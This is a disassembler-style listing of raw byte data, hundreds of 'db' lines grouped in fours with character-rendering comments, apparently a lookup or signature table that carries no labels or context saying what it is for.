		db  94h	; ■
		db  72h	; r
		db  10h	;  
		db  53h	; S
		db  94h	; ■
		db  75h	; u
		db    4	;  
		db  0Ah	;  
		db  94h	; ■
		db  7Eh	; ~
		db  64h	; d
		db    1	;  
		db  94h	; ■
		db  7Eh	; ~
		db  64h	; d
		db    2	;  
		db  94h	; ■
		db  7Fh	; 
		db  44h	; D
		db    6	;  
		db  94h	; ■
		db  86h	; ├
		db  0Dh	;  
		db 0A5h	; ╔
		db  94h	; ■
		db  88h	; ┬
		db  11h	;  
		db  0Bh	;  
		db  94h	; ■
		db  89h	; ┴
		db  4Ch	; L
		db  3Ch	; <
		db  94h	; ■
		db  89h	; ┴
		db  4Ch	; L
		db  46h	; F
		db  94h	; ■
		db  8Dh	; █
		db  0Fh	;  
		db 0FCh	; Э
		db  94h	; ■
		db  8Dh	; █
		db  0Fh	;  
		db 0FDh	; Щ
		db  94h	; ■
		db  8Eh	; ▌
		db  16h	;  
		db  18h	;  
		db  94h	; ■
		db  96h	; √
		db  1Eh	;  
		db    3	;  
		db  94h	; ■
		db 0A4h	; є
		db 0BEh	; Ў
		db    2	;  
		db  94h	; ■
		db 0A6h	; і
		db  1Ch	;  
		db    1	;  
		db  94h	; ■
		db 0A7h	; ї
		db  84h	; └
		db 0C8h	; х
		db  94h	; ■
		db 0A7h	; ї
		db 0CAh	; й
		db  83h	; ┐
		db  94h	; ■
		db 0A7h	; ї
		db 0CAh	; й
		db  84h	; └
		db  94h	; ■
		db 0AAh	; ╙
		db    8	;  
		db  0Ah	;  
		db  94h	; ■
		db 0B6h	; І
		db  10h	;  
		db    2	;  
		db  94h	; ■
		db 0B7h	; Ї
		db  38h	; 8
		db  16h	;  
		db  94h	; ■
		db 0B8h	; ╦
		db 0B0h	; ╟
		db  1Fh	;  
		db  94h	; ■
		db 0BBh	; ╩
		db  0Bh	;  
		db  19h	;  
		db  94h	; ■
		db 0BBh	; ╩
		db  82h	; ┌
		db  96h	; √
		db  94h	; ■
		db 0BCh	; ╪
		db    1	;  
		db    1	;  
		db  94h	; ■
		db 0BCh	; ╪
		db    1	;  
		db 0FEh	; Ч
		db  94h	; ■
		db 0C4h	; д
		db    1	;  
		db  0Ah	;  
		db  94h	; ■
		db 0C5h	; е
		db  9Fh	; ÷
		db 0FDh	; Щ
		db  94h	; ■
		db 0C9h	; и
		db    1	;  
		db    1	;  
		db  94h	; ■
		db 0CAh	; й
		db    1	;  
		db  1Dh	;  
		db  94h	; ■
		db 0CBh	; к
		db  97h	; ≈
		db  33h	; 3
		db  94h	; ■
		db 0CBh	; к
		db  97h	; ≈
		db  34h	; 4
		db  94h	; ■
		db 0CCh	; л
		db  66h	; f
		db    3	;  
		db  94h	; ■
		db 0CCh	; л
		db  67h	; g
		db    2	;  
		db  94h	; ■
		db 0CDh	; м
		db    2	;  
		db    1	;  
		db  94h	; ■
		db 0CEh	; н
		db  81h	; │
		db 0D8h	; ь
		db  94h	; ■
		db 0CEh	; н
		db  20h	;  
		db  1Dh	;  
		db  94h	; ■
		db 0CFh	; о
		db    1	;  
		db    1	;  
		db  94h	; ■
		db 0CFh	; о
		db  26h	; &
		db    1	;  
		db  94h	; ■
		db 0D1h	; я
		db    1	;  
		db    1	;  
		db  94h	; ■
		db 0D3h	; с
		db    1	;  
		db    1	;  
		db  94h	; ■
		db 0D4h	; т
		db    1	;  
		db    8	;  
		db  94h	; ■
		db 0D5h	; у
		db    1	;  
		db    2	;  
		db  94h	; ■
		db 0D5h	; у
		db    1	;  
		db    9	;  
		db  94h	; ■
		db 0D6h	; ж
		db  16h	;  
		db  0Dh	;  
		db  94h	; ■
		db 0D7h	; в
		db    1	;  
		db    1	;  
		db  94h	; ■
		db 0D8h	; ь
		db    1	;  
		db    2	;  
		db  94h	; ■
		db 0D8h	; ь
		db    1	;  
		db  15h	;  
		db  94h	; ■
		db 0D9h	; ы
		db    2	;  
		db  0Fh	;  
		db  94h	; ■
		db 0D9h	; ы
		db    2	;  
		db  1Eh	;  
		db  94h	; ■
		db 0DAh	; з
		db  3Ch	; <
		db    1	;  
		db  94h	; ■
		db 0DCh	; э
		db    1	;  
		db    2	;  
		db  94h	; ■
		db 0E0h	; Ю
		db  11h	;  
		db    2	;  
		db  94h	; ■
		db 0E0h	; Ю
		db  13h	;  
		db    3	;  
		db  94h	; ■
		db 0E1h	; А
		db    1	;  
		db    9	;  
		db  94h	; ■
		db 0E1h	; А
		db    2	;  
		db    9	;  
		db  94h	; ■
		db 0E2h	; Б
		db    1	;  
		db    1	;  
		db  94h	; ■
		db 0E4h	; Д
		db    1	;  
		db  0Ah	;  
		db  94h	; ■
		db 0E4h	; Д
		db    1	;  
		db    4	;  
		db  94h	; ■
		db 0E6h	; Ф
		db 0E1h	; А
		db  66h	; f
		db  94h	; ■
		db 0E7h	; Г
		db    1	;  
		db    3	;  
		db  94h	; ■
		db 0E8h	; Х
		db    1	;  
		db    2	;  
		db  94h	; ■
		db 0EAh	; Й
		db  0Fh	;  
		db    3	;  
		db  94h	; ■
		db 0EAh	; Й
		db  2Dh	; -
		db    3	;  
		db  94h	; ■
		db 0ECh	; Л
		db    2	;  
		db    5	;  
		db  94h	; ■
		db 0EDh	; М
		db  33h	; 3
		db    9	;  
		db  94h	; ■
		db 0EEh	; Н
		db  30h	; 0
		db    2	;  
		db  94h	; ■
		db 0EFh	; О
		db    1	;  
		db 0F0h	; П
		db  94h	; ■
		db 0EFh	; О
		db    1	;  
		db  3Ch	; <
		db  94h	; ■
		db 0F1h	; Я
		db  20h	;  
		db  64h	; d
		db  94h	; ■
		db 0F6h	; Ж
		db 0F7h	; В
		db  7Ch	; |
		db  94h	; ■
		db 0F6h	; Ж
		db 0F7h	; В
		db  7Eh	; ~
		db  94h	; ■
		db 0F7h	; В
		db    1	;  
		db    2	;  
		db  94h	; ■
		db 0F9h	; Ы
		db 0FAh	; З
		db  41h	; A
		db  94h	; ■
		db    4	;  
		db  1Dh	;  
		db    3	;  
		db  94h	; ■
		db    4	;  
		db    5	;  
		db    2	;  
		db  94h	; ■
		db  38h	; 8
		db  22h	; "
		db  0Ah	;  
		db  94h	; ■
		db  38h	; 8
		db  22h	; "
		db  0Bh	;  
		db  94h	; ■
		db  3Bh	; ;
		db  0Eh	;  
		db  0Ch	;  
		db  94h	; ■
		db  3Bh	; ;
		db  13h	;  
		db  0Bh	;  
		db  94h	; ■
		db    6	;  
		db    0	;  
		db    5	;  
		db  94h	; ■
		db  3Dh	; =
		db    1	;  
		db  0Ah	;  
		db  94h	; ■
		db  3Dh	; =
		db    1	;  
		db  0Fh	;  
		db  94h	; ■
		db  4Eh	; N
		db 0F9h	; Ы
		db 0C8h	; х
		db  94h	; ■
		db  4Eh	; N
		db 0F9h	; Ы
		db 0C9h	; и
		db  94h	; ■
		db  4Eh	; N
		db 0FFh	;  
		db 0C8h	; х
		db  94h	; ■
		db  4Eh	; N
		db 0FFh	;  
		db 0C9h	; и
		db  94h	; ■
		db  4Fh	; O
		db  50h	; P
		db  46h	; F
		db  94h	; ■
		db  4Fh	; O
		db  50h	; P
		db  4Eh	; N
		db  94h	; ■
		db    8	;  
		db  80h	; ─
		db  15h	;  
		db  94h	; ■
		db  51h	; Q
		db  10h	;  
		db  33h	; 3
		db  94h	; ■
		db  51h	; Q
		db  34h	; 4
		db  0Bh	;  
		db  94h	; ■
		db  55h	; U
		db    1	;  
		db    1	;  
		db  94h	; ■
		db  55h	; U
		db    1	;  
		db    3	;  
		db  94h	; ■
		db  58h	; X
		db    8	;  
		db    4	;  
		db  94h	; ■
		db  58h	; X
		db    8	;  
		db    7	;  
		db  95h	; ∙
		db  0Ah	;  
		db 0DDh	; щ
		db    3	;  
		db  95h	; ∙
		db  65h	; e
		db    1	;  
		db    3	;  
		db  95h	; ∙
		db  6Ah	; j
		db 0A0h	; ═
		db    3	;  
		db  95h	; ∙
		db  72h	; r
		db    5	;  
		db  64h	; d
		db  95h	; ∙
		db  72h	; r
		db    5	;  
		db  65h	; e
		db  95h	; ∙
		db  75h	; u
		db    1	;  
		db    1	;  
		db  95h	; ∙
		db  79h	; y
		db  0Ch	;  
		db    2	;  
		db  95h	; ∙
		db  79h	; y
		db  0Ch	;  
		db    4	;  
		db  95h	; ∙
		db  7Fh	; 
		db    6	;  
		db  11h	;  
		db  95h	; ∙
		db  82h	; ┌
		db  0Ah	;  
		db  10h	;  
		db  95h	; ∙
		db  84h	; └
		db 0C0h	; ю
		db    3	;  
		db  95h	; ∙
		db  84h	; └
		db    2	;  
		db    3	;  
		db  95h	; ∙
		db  88h	; ┬
		db    1	;  
		db  64h	; d
		db  95h	; ∙
		db  88h	; ┬
		db    1	;  
		db  63h	; c
		db  95h	; ∙
		db  89h	; ┴
		db    1	;  
		db    1	;  
		db  95h	; ∙
		db  89h	; ┴
		db    1	;  
		db    3	;  
		db  95h	; ∙
		db  8Ah	; ┼
		db  19h	;  
		db    1	;  
		db  95h	; ∙
		db  8Bh	; ▀
		db    1	;  
		db  64h	; d
		db  95h	; ∙
		db  8Bh	; ▀
		db  0Bh	;  
		db 0C8h	; х
		db  95h	; ∙
		db  90h	; ░
		db    2	;  
		db    2	;  
		db  95h	; ∙
		db  94h	; ■
		db  37h	; 7
		db    5	;  
		db  95h	; ∙
		db  94h	; ■
		db  37h	; 7
		db  37h	; 7
		db  95h	; ∙
		db  95h	; ∙
		db  0Bh	;  
		db    6	;  
		db  95h	; ∙
		db  0Fh	;  
		db    3	;  
		db    1	;  
		db  95h	; ∙
		db  96h	; √
		db 0D1h	; я
		db  1Dh	;  
		db  95h	; ∙
		db  96h	; √
		db 0FEh	; Ч
		db  19h	;  
		db  95h	; ∙
		db  97h	; ≈
		db    1	;  
		db    9	;  
		db  95h	; ∙
		db  99h	; ≥
		db    1	;  
		db    5	;  
		db  95h	; ∙
		db  9Ah	;  
		db  20h	;  
		db    1	;  
		db  95h	; ∙
		db  9Ah	;  
		db  20h	;  
		db  16h	;  
		db  95h	; ∙
		db  9Bh	; ⌡
		db 0C8h	; х
		db    1	;  
		db  95h	; ∙
		db  9Bh	; ⌡
		db 0C8h	; х
		db    2	;  
		db  95h	; ∙
		db  9Ch	; °
		db    1	;  
		db    3	;  
		db  95h	; ∙
		db  9Ch	; °
		db    2	;  
		db  64h	; d
		db  95h	; ∙
		db  9Ch	; °
		db    2	;  
		db  65h	; e
		db  95h	; ∙
		db  9Ch	; °
		db    4	;  
		db  0Bh	;  
		db  95h	; ∙
		db  9Dh	; ²
		db    1	;  
		db    3	;  
		db  95h	; ∙
		db 0A1h	; ║
		db    1	;  
		db    5	;  
		db  95h	; ∙
		db 0A4h	; є
		db    1	;  
		db    1	;  
		db  95h	; ∙
		db 0A4h	; є
		db 0BBh	; ╩
		db    1	;  
		db  95h	; ∙
		db 0A8h	; ╗
		db  0Bh	;  
		db  0Bh	;  
		db  95h	; ∙
		db 0A8h	; ╗
		db  82h	; ┌
		db 0FCh	; Э
		db  95h	; ∙
		db 0A8h	; ╗
		db  8Ah	; ┼
		db  0Bh	;  
		db  95h	; ∙
		db 0A8h	; ╗
		db  23h	; #
		db  18h	;  
		db  95h	; ∙
		db 0AAh	; ╙
		db 0BEh	; Ў
		db  80h	; ─
		db  95h	; ∙
		db 0ABh	; ╚
		db 0C0h	; ю
		db    2	;  
		db  95h	; ∙
		db 0ABh	; ╚
		db  60h	; `
		db    2	;  
		db  95h	; ∙
		db 0ADh	; ґ
		db    1	;  
		db    1	;  
		db  95h	; ∙
		db 0ADh	; ґ
		db    1	;  
		db    4	;  
		db  95h	; ∙
		db 0AEh	; ў
		db 0D3h	; с
		db    5	;  
		db  95h	; ∙
		db 0AEh	; ў
		db 0D5h	; у
		db    5	;  
		db  95h	; ∙
		db 0AFh	; ╞
		db    1	;  
		db    1	;  
		db  95h	; ∙
		db 0B0h	; ╟
		db 0FDh	; Щ
		db    1	;  
		db  95h	; ∙
		db  13h	;  
		db 0C0h	; ю
		db  0Ah	;  
		db  95h	; ∙
		db 0C9h	; и
		db  0Ah	;  
		db  1Eh	;  
		db  95h	; ∙
		db 0D3h	; с
		db  31h	; 1
		db  32h	; 2
		db  95h	; ∙
		db 0D8h	; ь
		db  5Bh	; [
		db  0Fh	;  
		db  95h	; ∙
		db 0D9h	; ы
		db    0	;  
		db  64h	; d
		db  95h	; ∙
		db 0DAh	; з
		db  70h	; p
		db    4	;  
		db  95h	; ∙
		db 0DCh	; э
		db    4	;  
		db    2	;  
		db  95h	; ∙
		db 0DCh	; э
		db    8	;  
		db  0Bh	;  
		db  95h	; ∙
		db 0DDh	; щ
		db    1	;  
		db 0C2h	; б
		db  95h	; ∙
		db 0E9h	; И
		db  64h	; d
		db  0Bh	;  
		db  95h	; ∙
		db 0EAh	; Й
		db  0Ch	;  
		db    1	;  
		db  95h	; ∙
		db 0EBh	; К
		db  1Eh	;  
		db  32h	; 2
		db  95h	; ∙
		db 0ECh	; Л
		db    1	;  
		db    1	;  
		db  95h	; ∙
		db 0EFh	; О
		db 0A0h	; ═
		db  64h	; d
		db  95h	; ∙
		db 0EFh	; О
		db 0A0h	; ═
		db 0F0h	; П
		db  95h	; ∙
		db  18h	;  
		db  0Ch	;  
		db    2	;  
		db  95h	; ∙
		db 0F2h	; Р
		db 0E0h	; Ю
		db    2	;  
		db  95h	; ∙
		db 0FEh	; Ч
		db  78h	; x
		db 0DCh	; э
		db  95h	; ∙
		db  1Ch	;  
		db  70h	; p
		db    2	;  
		db  95h	; ∙
		db  27h	; '
		db    1	;  
		db  0Fh	;  
		db  95h	; ∙
		db    4	;  
		db    2	;  
		db    9	;  
		db  95h	; ∙
		db  29h	; )
		db    1	;  
		db    3	;  
		db  95h	; ∙
		db  2Ch	; ,
		db    2	;  
		db  0Ah	;  
		db  95h	; ∙
		db  2Ch	; ,
		db    2	;  
		db  0Ch	;  
		db  95h	; ∙
		db  30h	; 0
		db    4	;  
		db  47h	; G
		db  95h	; ∙
		db  30h	; 0
		db    4	;  
		db  48h	; H
		db  95h	; ∙
		db  36h	; 6
		db  10h	;  
		db    1	;  
		db  95h	; ∙
		db  37h	; 7
		db  1Eh	;  
		db    5	;  
		db  95h	; ∙
		db  3Fh	; ?
		db  3Ch	; <
		db 0FAh	; З
		db  95h	; ∙
		db  41h	; A
		db    2	;  
		db    1	;  
		db  95h	; ∙
		db  44h	; D
		db  10h	;  
		db  0Ch	;  
		db  95h	; ∙
		db  49h	; I
		db    0	;  
		db  35h	; 5
		db  95h	; ∙
		db  4Ah	; J
		db    1	;  
		db    1	;  
		db  95h	; ∙
		db  4Bh	; K
		db    0	;  
		db    1	;  
		db  95h	; ∙
		db  4Ch	; L
		db    1	;  
		db    2	;  
		db  95h	; ∙
		db  4Ch	; L
		db    1	;  
		db    4	;  
		db  95h	; ∙
		db  4Dh	; M
		db    1	;  
		db    1	;  
		db  95h	; ∙
		db  4Fh	; O
		db  8Ah	; ┼
		db    1	;  
		db  95h	; ∙
		db  52h	; R
		db    3	;  
		db    2	;  
		db  95h	; ∙
		db  52h	; R
		db    3	;  
		db    3	;  
		db  95h	; ∙
		db  59h	; Y
		db    1	;  
		db  18h	;  
		db  95h	; ∙
		db  5Ah	; Z
		db    1	;  
		db    2	;  
		db  95h	; ∙
		db  61h	; a
		db    1	;  
		db  14h	;  
		db  95h	; ∙
		db  61h	; a
		db    1	;  
		db  1Ah	;  
		db  96h	; √
		db  64h	; d
		db    1	;  
		db    6	;  
		db  96h	; √
		db  64h	; d
		db    2	;  
		db    2	;  
		db  96h	; √
		db  64h	; d
		db    2	;  
		db    3	;  
		db  96h	; √
		db  64h	; d
		db    3	;  
		db    6	;  
		db  96h	; √
		db  65h	; e
		db 0EDh	; М
		db    2	;  
		db  96h	; √
		db  65h	; e
		db 0F8h	; Ь
		db  39h	; 9
		db  96h	; √
		db  6Ch	; l
		db    2	;  
		db  0Bh	;  
		db  96h	; √
		db  6Ch	; l
		db    4	;  
		db  0Bh	;  
		db  96h	; √
		db  0Bh	;  
		db  9Ah	;  
		db    1	;  
		db  96h	; √
		db  0Ch	;  
		db  20h	;  
		db  64h	; d
		db  96h	; √
		db  0Ch	;  
		db  4Ch	; L
		db  41h	; A
		db  96h	; √
		db  7Ch	; |
		db    4	;  
		db  0Ch	;  
		db  96h	; √
		db  7Ch	; |
		db    4	;  
		db  0Dh	;  
		db  96h	; √
		db  80h	; ─
		db  10h	;  
		db  0Ah	;  
		db  96h	; √
		db  80h	; ─
		db  62h	; b
		db  0Ah	;  
		db  96h	; √
		db  83h	; ┐
		db  0Eh	;  
		db    1	;  
		db  96h	; √
		db  83h	; ┐
		db  0Eh	;  
		db    2	;  
		db  96h	; √
		db  8Ch	; ▄
		db    1	;  
		db  19h	;  
		db  96h	; √
		db  8Ch	; ▄
		db    7	;  
		db  1Eh	;  
		db  96h	; √
		db  8Fh	; ▐
		db  10h	;  
		db    2	;  
		db  96h	; √
		db  8Fh	; ▐
		db  50h	; P
		db    2	;  
		db  96h	; √
		db  91h	; ▒
		db    0	;  
		db    2	;  
		db  96h	; √
		db  93h	; ⌠
		db  2Dh	; -
		db    2	;  
		db  96h	; √
		db  93h	; ⌠
		db  44h	; D
		db 0F0h	; П
		db  96h	; √
		db  0Fh	;  
		db    1	;  
		db    7	;  
		db  96h	; √
		db  96h	; √
		db  40h	; @
		db    1	;  
		db  96h	; √
		db  9Fh	; ÷
		db 0D8h	; ь
		db 0CAh	; й
		db  96h	; √
		db  9Fh	; ÷
		db 0D8h	; ь
		db 0CEh	; н
		db  96h	; √
		db 0A0h	; ═
		db    1	;  
		db  23h	; #
		db  96h	; √
		db 0A0h	; ═
		db  64h	; d
		db  23h	; #
		db  96h	; √
		db 0A1h	; ║
		db    6	;  
		db    1	;  
		db  96h	; √
		db 0A1h	; ║
		db    6	;  
		db 0FCh	; Э
		db  96h	; √
		db 0A2h	; ╒
		db    1	;  
		db    3	;  
		db  96h	; √
		db 0A2h	; ╒
		db    1	;  
		db    7	;  
		db  96h	; √
		db 0A3h	; ё
		db    1	;  
		db  16h	;  
		db  96h	; √
		db 0A3h	; ё
		db  82h	; ┌
		db    2	;  
		db  96h	; √
		db 0A3h	; ё
		db  8Dh	; █
		db  14h	;  
		db  96h	; √
		db 0A3h	; ё
		db    2	;  
		db  0Bh	;  
		db  96h	; √
		db 0A4h	; є
		db  40h	; @
		db    2	;  
		db  96h	; √
		db 0A4h	; є
		db  41h	; A
		db    3	;  
		db  96h	; √
		db 0A4h	; є
		db  4Ch	; L
		db 0A4h	; є
		db  96h	; √
		db 0A5h	; ╔
		db    1	;  
		db    1	;  
		db  96h	; √
		db 0A9h	; ╘
		db    1	;  
		db    3	;  
		db  96h	; √
		db 0A9h	; ╘
		db    1	;  
		db    4	;  
		db  96h	; √
		db 0ADh	; ґ
		db 0F3h	; С
		db    1	;  
		db  96h	; √
		db 0B0h	; ╟
		db  0Ch	;  
		db  33h	; 3
		db  96h	; √
		db 0B2h	; ╡
		db    1	;  
		db    2	;  
		db  96h	; √
		db 0B6h	; І
		db    1	;  
		db    2	;  
		db  96h	; √
		db 0BCh	; ╪
		db    4	;  
		db 0D2h	; р
		db  96h	; √
		db 0BCh	; ╪
		db    4	;  
		db 0D4h	; т
		db  96h	; √
		db  13h	;  
		db    8	;  
		db    1	;  
		db  96h	; √
		db  13h	;  
		db    8	;  
		db 0FAh	; З
		db  96h	; √
		db 0BEh	; Ў
		db  65h	; e
		db 0F2h	; Р
		db  96h	; √
		db 0BFh	; ©
		db  50h	; P
		db    2	;  
		db  96h	; √
		db 0C3h	; ц
		db  0Ah	;  
		db    1	;  
		db  96h	; √
		db 0C3h	; ц
		db  0Ah	;  
		db  81h	; │
		db  96h	; √
		db 0C5h	; е
		db    1	;  
		db    4	;  
		db  96h	; √
		db 0C6h	; ф
		db  86h	; ├
		db  81h	; │
		db  96h	; √
		db 0C6h	; ф
		db 0EDh	; М
		db  81h	; │
		db  96h	; √
		db 0C7h	; г
		db    1	;  
		db  0Bh	;  
		db  96h	; √
		db 0C8h	; х
		db    1	;  
		db    1	;  
		db  96h	; √
		db 0CAh	; й
		db    8	;  
		db    2	;  
		db  96h	; √
		db 0CBh	; к
		db    1	;  
		db  0Ah	;  
		db  96h	; √
		db 0CBh	; к
		db  16h	;  
		db  1Ch	;  
		db  96h	; √
		db 0CBh	; к
		db 0E0h	; Ю
		db  18h	;  
		db  96h	; √
		db 0CCh	; л
		db  25h	; %
		db    1	;  
		db  96h	; √
		db 0CCh	; л
		db  28h	; (
		db    1	;  
		db  96h	; √
		db 0CFh	; о
		db    2	;  
		db  41h	; A
		db  96h	; √
		db 0D0h	; п
		db  0Ah	;  
		db  1Ah	;  
		db  96h	; √
		db 0D1h	; я
		db    4	;  
		db  15h	;  
		db  96h	; √
		db 0D1h	; я
		db  58h	; X
		db  15h	;  
		db  96h	; √
		db 0D4h	; т
		db  10h	;  
		db  14h	;  
		db  96h	; √
		db 0D4h	; т
		db  10h	;  
		db  15h	;  
		db  96h	; √
		db 0D5h	; у
		db    2	;  
		db  12h	;  
		db  96h	; √
		db 0D5h	; у
		db    2	;  
		db  13h	;  
		db  96h	; √
		db 0D6h	; ж
		db    1	;  
		db    3	;  
		db  96h	; √
		db 0D6h	; ж
		db    4	;  
		db  22h	; "
		db  96h	; √
		db 0D9h	; ы
		db    1	;  
		db  87h	; ┤
		db  96h	; √
		db 0D9h	; ы
		db  0Ah	;  
		db    2	;  
		db  96h	; √
		db  16h	;  
		db    1	;  
		db  0Ah	;  
		db  96h	; √
		db 0E3h	; Ц
		db    4	;  
		db    1	;  
		db  96h	; √
		db 0E4h	; Д
		db  28h	; (
		db  81h	; │
		db  96h	; √
		db 0E4h	; Д
		db  2Bh	; +
		db  41h	; A
		db  96h	; √
		db 0E8h	; Х
		db  80h	; ─
		db  2Ah	; *
		db  96h	; √
		db 0E8h	; Х
		db  80h	; ─
		db  2Dh	; -
		db  96h	; √
		db 0EDh	; М
		db  80h	; ─
		db  1Bh	;  
		db  96h	; √
		db 0EDh	; М
		db 0B0h	; ╟
		db  0Dh	;  
		db  96h	; √
		db 0F1h	; Я
		db    6	;  
		db  33h	; 3
		db  96h	; √
		db 0F3h	; С
		db 0A0h	; ═
		db    1	;  
		db  96h	; √
		db 0F3h	; С
		db  40h	; @
		db    1	;  
		db  96h	; √
		db 0F4h	; Т
		db    9	;  
		db  64h	; d
		db  96h	; √
		db 0F4h	; Т
		db    9	;  
		db 0E2h	; Б
		db  96h	; √
		db 0FAh	; З
		db    1	;  
		db    1	;  
		db  96h	; √
		db 0FCh	; Э
		db  80h	; ─
		db  6Ah	; j
		db  96h	; √
		db 0FCh	; Э
		db  80h	; ─
		db  6Bh	; k
		db  96h	; √
		db 0FDh	; Щ
		db  32h	; 2
		db    1	;  
		db  96h	; √
		db 0FDh	; Щ
		db  32h	; 2
		db    2	;  
		db  96h	; √
		db 0FEh	; Ч
		db 0ADh	; ґ
		db    2	;  
		db  96h	; √
		db 0FEh	; Ч
		db 0ADh	; ґ
		db    3	;  
		db  96h	; √
		db  1Ah	;  
		db    1	;  
		db 0FBh	; Ш
		db  96h	; √
		db  1Ah	;  
		db    1	;  
		db 0FCh	; Э
		db  96h	; √
		db  1Ah	;  
		db 0FEh	; Ч
		db  32h	; 2
		db  96h	; √
		db  1Ah	;  
		db 0FEh	; Ч
		db  3Ah	; :
		db  96h	; √
		db  1Bh	;  
		db    1	;  
		db    1	;  
		db  96h	; √
		db  1Dh	;  
		db 0FBh	; Ш
		db  0Eh	;  
		db  96h	; √
		db  1Eh	;  
		db  15h	;  
		db    2	;  
		db  96h	; √
		db  1Fh	;  
		db  0Dh	;  
		db    2	;  
		db  96h	; √
		db  20h	;  
		db    4	;  
		db    1	;  
		db  96h	; √
		db  23h	; #
		db 0FDh	; Щ
		db  0Bh	;  
		db  96h	; √
		db  25h	; %
		db  80h	; ─
		db    4	;  
		db  96h	; √
		db  25h	; %
		db 0FBh	; Ш
		db  0Ah	;  
		db  96h	; √
		db  26h	; &
		db 0D2h	; р
		db    2	;  
		db  96h	; √
		db  26h	; &
		db  32h	; 2
		db    2	;  
		db  96h	; √
		db  27h	; '
		db  48h	; H
		db    2	;  
		db  96h	; √
		db  2Ah	; *
		db 0BEh	; Ў
		db  64h	; d
		db  96h	; √
		db  2Ah	; *
		db 0BEh	; Ў
		db  65h	; e
		db  96h	; √
		db  2Bh	; +
		db    1	;  
		db    2	;  
		db  96h	; √
		db  2Bh	; +
		db    2	;  
		db    1	;  
		db  96h	; √
		db  2Eh	; .
		db  2Ch	; ,
		db    3	;  
		db  96h	; √
		db  2Eh	; .
		db  2Ch	; ,
		db    4	;  
		db  96h	; √
		db  2Fh	; /
		db 0ACh	; ╛
		db  0Bh	;  
		db  96h	; √
		db  31h	; 1
		db  0Ah	;  
		db    1	;  
		db  96h	; √
		db  31h	; 1
		db  0Ah	;  
		db  1Fh	;  
		db  96h	; √
		db  34h	; 4
		db  64h	; d
		db  14h	;  
		db  96h	; √
		db  36h	; 6
		db  20h	;  
		db 0FCh	; Э
		db  96h	; √
		db  36h	; 6
		db  20h	;  
		db 0FDh	; Щ
		db  96h	; √
		db  37h	; 7
		db    4	;  
		db    2	;  
		db  96h	; √
		db  37h	; 7
		db    4	;  
		db    4	;  
		db  96h	; √
		db  39h	; 9
		db  64h	; d
		db    1	;  
		db  96h	; √
		db  3Bh	; ;
		db  0Ch	;  
		db    3	;  
		db  96h	; √
		db  3Bh	; ;
		db    4	;  
		db    3	;  
		db  96h	; √
		db  3Dh	; =
		db    4	;  
		db    3	;  
		db  96h	; √
		db  3Dh	; =
		db    4	;  
		db    5	;  
		db  96h	; √
		db  3Fh	; ?
		db    2	;  
		db    1	;  
		db  96h	; √
		db  40h	; @
		db    6	;  
		db    4	;  
		db  96h	; √
		db  41h	; A
		db    1	;  
		db    1	;  
		db  96h	; √
		db  41h	; A
		db    3	;  
		db    6	;  
		db  96h	; √
		db  43h	; C
		db  20h	;  
		db    3	;  
		db  96h	; √
		db  45h	; E
		db    2	;  
		db  0Bh	;  
		db  96h	; √
		db    7	;  
		db    1	;  
		db  0Bh	;  
		db  96h	; √
		db    7	;  
		db    1	;  
		db  0Ch	;  
		db  96h	; √
		db  47h	; G
		db  58h	; X
		db    1	;  
		db  96h	; √
		db  53h	; S
		db  30h	; 0
		db    6	;  
		db  96h	; √
		db  54h	; T
		db    4	;  
		db    7	;  
		db  96h	; √
		db  54h	; T
		db    8	;  
		db 0A6h	; і
		db  96h	; √
		db  56h	; V
		db    1	;  
		db    3	;  
		db  96h	; √
		db  57h	; W
		db 0F8h	; Ь
		db  14h	;  
		db  96h	; √
		db  59h	; Y
		db    0	;  
		db    8	;  
		db  96h	; √
		db    9	;  
		db  80h	; ─
		db    1	;  
		db  96h	; √
		db  5Ah	; Z
		db  20h	;  
		db    3	;  
		db  96h	; √
		db  5Ah	; Z
		db  20h	;  
		db    6	;  
		db  96h	; √
		db  5Bh	; [
		db  1Ch	;  
		db    2	;  
		db  96h	; √
		db  5Dh	; ]
		db  10h	;  
		db 0FAh	; З
		db  96h	; √
		db  5Dh	; ]
		db 0F0h	; П
		db 0FCh	; Э
		db  96h	; √
		db  60h	; `
		db    0	;  
		db    2	;  
		db  96h	; √
		db  61h	; a
		db  8Ch	; ▄
		db    3	;  
		db  96h	; √
		db  61h	; a
		db  8Ch	; ▄
		db    4	;  
		db  97h	; ≈
		db    1	;  
		db    1	;  
		db    1	;  
		db  97h	; ≈
		db    1	;  
		db    2	;  
		db    1	;  
		db  97h	; ≈
		db  64h	; d
		db    4	;  
		db  0Dh	;  
		db  97h	; ≈
		db  65h	; e
		db  14h	;  
		db    1	;  
		db  97h	; ≈
		db  65h	; e
		db  14h	;  
		db    2	;  
		db  97h	; ≈
		db  67h	; g
		db  10h	;  
		db  0Bh	;  
		db  97h	; ≈
		db  67h	; g
		db  10h	;  
		db  0Ch	;  
		db  97h	; ≈
		db  7Ch	; |
		db 0FAh	; З
		db    1	;  
		db  97h	; ≈
		db  7Dh	; }
		db    1	;  
		db    1	;  
		db  97h	; ≈
		db  82h	; ┌
		db  20h	;  
		db    1	;  
		db  97h	; ≈
		db  84h	; └
		db 0C8h	; х
		db    2	;  
		db  97h	; ≈
		db  84h	; └
		db  32h	; 2
		db 0C6h	; ф
		db  97h	; ≈
		db  84h	; └
		db  32h	; 2
		db    2	;  
		db  97h	; ≈
		db  87h	; ┤
		db 0F8h	; Ь
		db    1	;  
		db  97h	; ≈
		db  88h	; ┬
		db  64h	; d
		db  82h	; ┌
		db  97h	; ≈
		db  8Dh	; █
		db    4	;  
		db    7	;  
		db  97h	; ≈
		db  8Fh	; ▐
		db    1	;  
		db  37h	; 7
		db  97h	; ≈
		db  8Fh	; ▐
		db 0F0h	; П
		db  0Ch	;  
		db  97h	; ≈
		db  90h	; ░
		db 0FEh	; Ч
		db  15h	;  
		db  97h	; ≈
		db  90h	; ░
		db 0FEh	; Ч
		db  16h	;  
		db  97h	; ≈
		db  94h	; ■
		db  84h	; └
		db    1	;  
		db  97h	; ≈
		db  9Ah	;  
		db 0DEh	; ч
		db    3	;  
		db  97h	; ≈
		db  9Ah	;  
		db 0DEh	; ч
		db    5	;  
		db  97h	; ≈
		db  9Dh	; ²
		db  80h	; ─
		db  15h	;  
		db  97h	; ≈
		db  9Fh	; ÷
		db    1	;  
		db    1	;  
		db  97h	; ≈
		db  9Fh	; ÷
		db    1	;  
		db  79h	; y
		db  97h	; ≈
		db  9Fh	; ÷
		db  5Ah	; Z
		db    1	;  
		db  97h	; ≈
		db 0A0h	; ═
		db 0C0h	; ю
		db  0Bh	;  
		db  97h	; ≈
		db 0A0h	; ═
		db 0C0h	; ю
		db  0Ch	;  
		db  97h	; ≈
